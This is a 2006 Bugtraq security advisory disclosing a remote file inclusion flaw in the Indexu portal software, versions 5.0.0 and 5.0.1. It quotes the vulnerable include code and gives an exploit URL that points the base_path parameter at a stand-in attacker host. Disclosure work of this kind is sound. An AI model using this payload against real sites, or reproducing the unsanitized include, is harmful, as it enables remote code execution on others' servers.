bugtraq - [ECHO_ADV_27$2006] Indexu <= 5.0.1 Remote File Inclusion

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Date: 9 Feb 2006 07:09:42 -0000
From: eufrato@...il.com
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_27$2006] Indexu <= 5.0.1 Remote File Inclusion


____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

					.OR.ID
ECHO_ADV_27$2006

---------------------------------------------------------------------------
[ECHO_ADV_27$2006] Indexu <= 5.0.1 Remote File Inclusion
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni
Date         : February, 9th 2006
Location     : Indonesia, Bali
Web          : http://echo.or.id/adv/adv27-K-159-2006.txt
Critical Lvl : Dangerous
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Indexu

Application : indexu 
version     : 5.0.0 5.0.1
URL         : http://www.nicecoder.com/
Description :

INDEXU is a portal solution software that allows you to build powerful indexing websites such as yahoo.com, google.com, and dmoz.org with ease. It's ability to allow you and your members to easily add, organize, and manage your links makes INDEXU the first choice of all webmasters. 

---------------------------------------------------------------------------

Proof of Concept:
~~~~~~~~~~~~~~~~

in application.php code script i found include fopen url
vulnerability that not sanitized.an attacker can exploit this vulnerability with a simple php injection script.Here is the code of application.php

---------------application.php--------------------------------
 ...
include($base_path."lang/english.php");   // full path
include($base_path."pagination.class.php");   // full path

...
------------------------------------------------------------------

Exploit:
~~~~~~~~

http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil?

Solution:
~~~~~~~~~

sanitize the script code in application.php to protect this vulerability

Notification:
~~~~~~~~~~~~

 vendor was contact

---------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa
~ newbie_hacker@...oogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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